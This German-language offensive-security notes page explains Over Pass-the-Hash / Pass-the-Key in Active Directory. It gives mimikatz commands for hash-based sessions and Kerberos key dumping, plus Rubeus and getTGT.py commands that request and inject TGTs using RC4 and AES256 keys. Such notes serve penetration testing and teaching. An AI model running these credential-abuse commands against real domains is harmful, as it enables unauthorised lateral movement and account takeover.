> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).
# Over Pass-the-Hash / Pass-the-Key
Sicherheitsnotizen zu Active Directory für Over Pass-the-Hash / Pass-the-Key, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.
Kerberos unterstützt mehrere Schlüsseltypen, darunter `RC4`, `AES128`, und `AES256`.
Mit `mimikatz`, der folgende Befehl öffnet eine neue Sitzung und modifiziert außerdem den Kerberos-Kontext im Speicher.
```bash
./mimikatz.exe
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```
Sobald dieser Kontext geladen ist, können wir ein TGT anfordern mit `Rubeus`.
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```
Dieser Befehl ruft das TGT des Kontos ab und injiziert es direkt in den Speicher.
Um die im Speicher für ein Konto vorhandenen Kerberos-Schlüssel anzuzeigen, können wir `sekurlsa::ekeys`.
```bash
./mimikatz.exe
sekurlsa::ekeys
```
Wir erhalten dann mehrere Darstellungen desselben Schlüssels, zum Beispiel in `RC4` und in `AES256`.
Anschließend können wir mit dem AES-Schlüssel ein TGT anfordern.
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```
Unter Linux kann derselbe Vorgang mit `getTGT.py`.
```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86
```
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